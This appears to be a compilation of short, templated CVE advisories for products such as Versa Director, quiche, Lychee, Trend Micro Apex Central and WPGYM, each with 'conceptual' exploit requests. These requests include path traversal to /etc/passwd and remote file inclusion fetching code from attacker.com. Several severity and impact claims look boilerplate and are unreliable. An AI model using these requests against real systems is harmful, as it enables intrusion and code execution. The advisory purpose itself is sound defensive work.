Author: Ameeba

Overview

The CVE-2025-23173 vulnerability pertains to the Versa Director SD-WAN orchestration platform. This report analyzes this critical vulnerability, which poses a significant risk to Versa Director users globally due to its potential for system compromise or data leakage. It is essential to address this vulnerability promptly to mitigate the adverse impacts.

Vulnerability Summary

CVE ID: CVE-2025-23173
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Versa Director SD-WAN Orchestration Platform | Versions prior to remediated software versions

How the Exploit Works

The Versa Director SD-WAN orchestration platform provides direct web-based access to uCPE virtual machines through the Director GUI. By default, the websockify service is exposed on port 6080 and can be accessed from the internet. Attackers can exploit weaknesses in the websockify service to potentially gain remote code execution capabilities.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could involve a malicious HTTP request to the websockify service. This might look something like:

POST /websockify?token=TARGET_TOKEN HTTP/1.1
Host: target.example.com:6080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
{ "malicious_payload": "..." }

In the above example, the attacker would replace “TARGET_TOKEN” with the token of the target uCPE virtual machine, and “malicious_payload” with the actual malicious payload designed to exploit the weaknesses in the websockify service.

Workarounds and Mitigation

As a workaround, users can restrict access to TCP port 6080 if uCPE console access is not necessary. Versa Networks recommends that Director be upgraded to one of the remediated software versions. As an alternative temporary mitigation, users can apply a vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS).

Overview

This report highlights the vulnerability CVE-2025-4821 discovered in Cloudflare quiche, which could lead to incorrect congestion window growth. This vulnerability, if exploited, could lead to potential system compromise or data leakage. This report aims to provide an understanding of the severity, attack vector, impact, and potential mitigation tactics of this cybersecurity threat.

Vulnerability Summary

CVE ID: CVE-2025-4821
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Cloudflare Quiche | Versions prior to 0.24.4

How the Exploit Works

An unauthenticated remote attacker can exploit the vulnerability by first completing a handshake and initiating a congestion-controlled data transfer towards itself. Then, the attacker could manipulate the victim’s congestion control state by sending ACK frames covering a large range of packet numbers, causing the congestion window to grow beyond typical expectations and allow more bytes in flight than the path might actually support. In extreme cases, the window might grow beyond the limit of the internal variable’s type, leading to an overflow panic.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

# Begin handshake
init_handshake(target="target.example.com")
# Initiate congestion-controlled data transfer
data_transfer = start_data_transfer(target="target.example.com")
# Send ACK frames with large range of packet numbers
for i in range(1, 1000000):
send_ack_frame(data_transfer, packet_number=i)

This script starts a handshake, initiates a data transfer, and then sends a large range of ACK frames to the victim, potentially causing an overflow panic.

Mitigation Guidance

It is recommended to apply the patch provided by the vendor. The earliest version containing the fix for this issue is quiche 0.24.4. As a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. However, this should not replace the need for applying the patch.

Overview

Path traversal vulnerabilities, such as the one identified in Lychee versions 6.6.6 to 6.6.9, pose a significant threat to data security and integrity. This vulnerability allows an attacker to access local files, including sensitive data such as environment variables, nginx logs, other user’s uploaded images, and configuration secrets. As Lychee is a widely-used photo-management tool, this vulnerability potentially impacts a large number of users and systems, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-50202
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Lychee | 6.6.6 to 6.6.9

How the Exploit Works

The vulnerability resides in the SecurePathController.php file of the Lychee application. The flaw allows an attacker to manipulate file paths to access directories that should be inaccessible. By sending crafted requests to the server, an attacker can traverse the directory tree to leak local files, including sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request, where “malicious_payload” is the manipulated file path.

GET /path/to/SecurePathController.php?path=../../../../etc/passwd HTTP/1.1
Host: target.example.com

Mitigation

Users of the Lychee photo-management tool are advised to immediately upgrade to version 6.6.10 or later, which contains a patch for this vulnerability. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the risk of exploitation.

Overview

The vulnerability CVE-2025-47867 is a critical Local File Inclusion (LFI) vulnerability identified in Trend Micro Apex Central widget in versions below 8.0.6955. This vulnerability puts systems at risk of potential compromise or data leakage, allowing an attacker to remotely execute arbitrary PHP code. Given the severity of this vulnerability, it is crucial for affected users to implement mitigation measures immediately.

Vulnerability Summary

CVE ID: CVE-2025-47867
Severity: High (7.5 CVSS)
Attack Vector: Local File Inclusion
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Trend Micro Apex Central Widget | Versions before 8.0.6955

How the Exploit Works

The CVE-2025-47867 vulnerability exploits the insecure handling of file inclusion functions in the Trend Micro Apex Central widget. An attacker can manipulate these functions to include arbitrary files from the local file system, allowing them to execute PHP code remotely. This could enable the attacker to take control of the system or leak sensitive data.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. An HTTP request with a malicious payload could be used to trigger the vulnerability.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=../../../etc/passwd

In this example, the attacker is attempting to include the /etc/passwd file, which contains user account details on Unix-based systems. If successful, the attacker could potentially access sensitive information or execute arbitrary code on the server.

Mitigation Guidance

Users of affected versions of Trend Micro Apex Central Widget are advised to upgrade to version 8.0.6955 or later, which contains a fix for this vulnerability. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.

Overview

The cybersecurity landscape has been hit by yet another vulnerability, CVE-2025-47865. This is a Local File Inclusion (LFI) vulnerability found in the Trend Micro Apex Central Widget. Users below version 8.0.6955 are affected, and this flaw could potentially provide an attacker with remote code execution capabilities on the victim’s device. The significance of this vulnerability lies in its potential to compromise system integrity and result in data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47865
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Trend Micro Apex Central Widget | Below Version 8.0.6955

How the Exploit Works

This exploit works by abusing the Local File Inclusion vulnerability in the affected widget. An attacker would send crafted input to a vulnerable server, which incorrectly handles and executes the input as part of a file name to be included. This flaw allows an attacker to run arbitrary code on the victim’s system, leading to a complete system compromise.

Conceptual Example Code

An attacker could potentially exploit this vulnerability with a manipulated HTTP request as shown:

POST /vulnerable_widget HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "/etc/passwd" }

In this example, the include_file parameter is manipulated to include a system file that should not be accessible, allowing the attacker to read sensitive information or execute arbitrary code.
Please note that this is conceptual example code, the actual exploit may differ based on the application’s structure and security defenses.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the patch provided by the vendor. In the absence of the patch, implementing Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can serve as temporary mitigation. Regular security audits and penetration testing can also aid in identifying and patching such vulnerabilities in a timely manner.

Overview

In this report, we focus on a critical vulnerability identified as CVE-2025-33122, affecting IBM i versions 7.2 to 7.6. The vulnerability lies in the IBM Advanced Job Scheduler for i, where an unqualified library call could potentially allow a user to elevate their privileges. This vulnerability is significant because an exploitation could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-33122
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

IBM i | 7.2, 7.3, 7.4, 7.5, 7.6

How the Exploit Works

The vulnerability stems from an unqualified library call in the IBM Advanced Job Scheduler for i. An attacker with low-level privileges could manipulate library calls, resulting in user-controlled code running with administrator privileges. This elevation of privileges could potentially lead to full system compromise or data leakage.

Conceptual Example Code

// Pseudocode representing the potential exploit
libraryCall("malicious_code"); // Unqualified call to user-controlled library
executeAsAdmin(); // Code executes with elevated privileges

While the above code is a simplified representation, in a real-world scenario, the malicious actor would need to craft malicious code that exploits the unqualified library call and then trigger the vulnerable function within the IBM Advanced Job Scheduler.
To prevent the vulnerability from being exploited, it is advised to apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.

Overview

The vulnerability CVE-2025-49451 is a Path Traversal issue discovered in the Aeroscroll Gallery – Infinite Scroll Image Gallery & Post Grid with Photo Gallery. This vulnerability affects all versions up to 1.0.12 and could potentially lead to system compromise or data leakage, making it a significant concern for users and administrators of the affected product.

Vulnerability Summary

CVE ID: CVE-2025-49451
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Aeroscroll Gallery – Infinite Scroll Image Gallery & Post Grid with Photo Gallery | Up to 1.0.12

How the Exploit Works

This path traversal vulnerability allows an attacker to access sensitive files on the server by manipulating file paths in the request. This is done by including special characters in the request made to the server that trick the server into returning files outside of the intended directory.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

GET /gallery/?file=../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is trying to access the `/etc/passwd` file, which is a sensitive file in Unix-based systems, containing users’ data. The `../` sequence is used to move up in the directory structure, potentially allowing an attacker to access files they should not be able to.

Mitigation

Users are advised to apply the vendor’s patch to mitigate the vulnerability. In the absence of a patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can be configured to prevent path traversal attacks by blocking requests containing suspicious patterns.

Overview

CVE-2025-47572 is a critical vulnerability affecting the School Management software by mojoomla. The vulnerability arises due to improper control of the filename for Include/Require statement in the PHP program, leading to a potential PHP Local File Inclusion (LFI). This vulnerability poses a significant threat as it allows an attacker to potentially compromise the system or cause data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47572
Severity: High / 7.5 CVSS Score
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

School Management | Up to 93.0.0

How the Exploit Works

The exploit takes advantage of the software’s improper control of the filename for Include/Require statement in PHP. An attacker could manipulate the PHP program to include or require a file located on a remote server that the attacker controls. This could lead to the execution of arbitrary PHP code, giving the attacker the potential to compromise the system or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example assumes a vulnerable PHP file that uses user-supplied input to build a file path for inclusion:

GET /vulnerable_file.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker provides a URL (http://attacker.com/malicious_file) as a parameter. If the application doesn’t properly validate or sanitize this input, the attacker’s file would be included and its code executed.

Mitigation Guidance

To mitigate this vulnerability, users of the affected software are advised to apply patches provided by the vendor as soon as they’re available. In the meantime, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can potentially detect and block attempts to exploit this vulnerability. Additionally, it is recommended to sanitize and validate inputs to prevent malicious inclusions.

Overview

This report provides an in-depth analysis of a significant vulnerability, CVE-2025-32549, affecting mojoomla’s WPGYM software. This vulnerability lies in the improper control of filename for Include/Require statement in the PHP program, leading to a potential PHP Remote File Inclusion. It holds importance due to its high severity score and the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32549
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

mojoomla WPGYM | n/a through 65.0

How the Exploit Works

The vulnerability stems from the software’s improper control of a filename in an Include/Require statement in a PHP program. This lack of control allows an attacker to manipulate the input to load a remote file. The attacker can then execute arbitrary PHP code, compromising the system or leading to potential data leakage.

Conceptual Example Code

The following is a conceptual HTTP request that an attacker might use to exploit this vulnerability:

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this case, the “file” parameter in the URL is vulnerable to file inclusion. The attacker can specify an arbitrary file, like “malicious_file.php” hosted on their server, leading to its execution on the target server.

Recommendation

To mitigate this vulnerability, users should apply the vendor’s patch as soon as it is available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used as a temporary solution to detect and block such malicious requests.

Overview

The CVE-2025-49795 is a major vulnerability found within libxml2, an XML parsing library commonly used in information systems and web services. The vulnerability, a NULL pointer dereference, can be exploited to trigger a denial of service attack, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49795
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service; possible system compromise and data leakage

Affected Products

Product | Affected Versions

libxml2 | All versions up to the latest patch

How the Exploit Works

The vulnerability exists within the XPath processing module of the libxml2 library. An attacker can craft a malicious XML input designed to cause a NULL pointer dereference when parsed by libxml2. This results in a service disruption, causing a denial of service. If the attacker’s input is crafted with precise knowledge of the system’s memory layout, it could potentially even lead to arbitrary code execution.

Conceptual Example Code

POST /xml/parse HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<root>
<exploit>{{NULL_POINTER}}</exploit>
</root>

In this conceptual example, the attacker sends a POST request to a vulnerable endpoint, embedding the malicious payload within the XML data. The payload, represented here symbolically as {{NULL_POINTER}}, is designed to trigger the NULL pointer dereference in libxml2.